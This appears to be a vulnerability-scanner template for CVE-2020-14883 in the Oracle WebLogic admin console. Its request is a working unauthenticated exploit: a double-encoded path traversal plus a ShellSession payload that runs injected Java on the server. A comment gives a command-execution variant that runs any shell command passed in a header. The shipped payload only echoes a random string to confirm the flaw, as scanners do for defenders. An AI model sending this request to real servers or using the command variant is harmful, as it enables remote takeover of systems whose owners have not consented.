id: CVE-2020-14883

info:
  name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
  author: pdteam,vicrack
  severity: high
  description: |
    The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-14883
    epss-score: 0.97537
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: weblogic_server
    shodan-query: title:"Oracle PeopleSoft Sign-in"
  tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020
variables:
  str: "{{randstr}}"
  revstr: "{{reverse(str)}}"

http:
  - raw:
      # CMD: String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next();
      - |
        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String result = new StringBuilder("{{str}}").reverse().toString(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: body
        words:
          - "{{revstr}}"

      - type: status
        status:
          - 200